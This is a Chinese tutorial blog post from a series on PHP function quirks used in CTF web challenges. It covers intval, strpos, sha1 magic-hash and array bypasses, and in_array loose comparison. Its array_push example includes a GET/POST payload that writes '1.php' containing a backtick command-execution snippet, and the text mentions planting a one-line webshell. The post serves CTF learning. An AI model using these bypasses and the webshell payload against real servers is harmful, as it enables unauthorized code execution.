CTF中的PHP特性函数解析之中篇

 更新时间:2023年02月21日 08:46:57   作者:XINO  
这篇文章主要为大家介绍了CTF中的PHP特性函数解析,本文分三篇此篇为中篇,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

前言

上篇文章给大家带来了PHP中最基本的特性,不知道大家学习的怎样了,回顾上文,我们讲了MD5强弱碰撞以及正则匹配的绕过,总体来看还是很简单的,下面给大家带来新的PHP特性讲解,会稍微比上一篇难一些。

intval()

上一篇在最后时简单介绍了一下这个函数,我们看看官方是怎样定义的:

简单来说就是让输入的数字变成整数,下面我们举个例子:

echo intval(1145.14);                     // 1145
echo intval('114514');                    // 114514

可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:

if($num==="1145"){
        die("no no no!");
    }
    if(intval($num,0)===1145){
        echo $flag;
    }

要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?

这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:

sum=1145a

intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:

当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。

strpos()

根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:

 if(!strpos($num, "0")){
        die("no no no!");

因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。

sha1

p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:

数组比较

类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:

if(sha1($a)==sha1($b) && $a!=$b){
  	echo $flag;
}

可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,,于是我们传入数组来使结果为NULL:

a[]=1
b[]=2

强类型

与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:

if(sha1($a)===sha1($b) && $a!=$b){
  	echo $flag;
}

这里同样有类似于MD5函数的解决方法:

a=aaK1STf    //0e7665852665575620768827115962402601
b=aaO8zKZF   //0e89257456677279068558073954252716165

array_push()

可以理解为向数组尾部插入参数,我们看看是如何考察的:

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:

type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:

get:  n=1.php
post: content=&lt;?=`tac f*`;

结语

今天这篇文章可能有的地方不是很好理解,但总体来说还是很简单的,PHP特性很多以至于只能挑出一些著名的来说,更多关于CTF PHP特性函数的资料请关注脚本之家其它相关文章!

相关文章

  • CodeIgniter框架常见用法工作总结

    CodeIgniter框架常见用法工作总结

    这篇文章主要介绍了CodeIgniter框架常见用法,结合简单实例形式总结分析了CodeIgniter框架控制器、表单、数据库等常见操作技巧,需要的朋友可以参考下
    2017-03-03
  • PHP实现伪静态方法汇总

    PHP实现伪静态方法汇总

    PHP伪静态的使用主要是为了隐藏传递的参数名,下面给大家介绍php实现伪静态的方法,对php实现伪静态相关知识感兴趣的朋友一起学习吧
    2016-01-01
  • 浅谈PHP正则中的捕获组与非捕获组

    浅谈PHP正则中的捕获组与非捕获组

    下面小编就为大家带来一篇浅谈PHP正则中的捕获组与非捕获组。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-07-07
  • ecshop适应在PHP7的修改方法解决报错的实现

    ecshop适应在PHP7的修改方法解决报错的实现

    下面小编就为大家带来一篇ecshop适应在PHP7的修改方法解决报错的实现。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-11-11
  • ajax实现无刷新分页(php)

    ajax实现无刷新分页(php)

    直接给出源代码,可自行分析,写的不好请留言指正,谢谢!
    2010-07-07
  • QQ登录 PHP OAuth示例代码

    QQ登录 PHP OAuth示例代码

    申请是立即通过的 目前腾讯仅开放获取昵称和头像的API,以后会陆续推出其他API 头像是QQ空间的,官方文档都是写QQ空间登录
    2011-07-07
  • Yii中创建自己的Widget实例

    Yii中创建自己的Widget实例

    这篇文章主要介绍了Yii中创建自己的Widget实现方法,结合具体实例形式较为详细的分析了Yii中创建Widget的步骤与实现技巧,需要的朋友可以参考下
    2016-01-01
  • php 分页类 扩展代码

    php 分页类 扩展代码

    采用url传递参数的方式,可能会有一定的影响或者叫已知的bug,这次做了一些扩展,同时兼容了以前的模式
    2009-06-06
  • php使用cookie实现记住用户名和密码实现代码

    php使用cookie实现记住用户名和密码实现代码

    这篇文章主要介绍了php使用cookie实现记住用户名和密码实现代码,本文直接给出实现代码,需要的朋友可以参考下
    2015-04-04
  • PHP爬虫框架盘点

    PHP爬虫框架盘点

    大数据分析必定少不了数据抓取,只有拥有海量的数据才能对数据进行对比分析。因此,网页爬虫是作为程序员必须要懂得技能,下文我将通过文字形式记录下php的爬虫框架的一些内容。需要的小伙伴可以借鉴一下
    2023-04-04

最新评论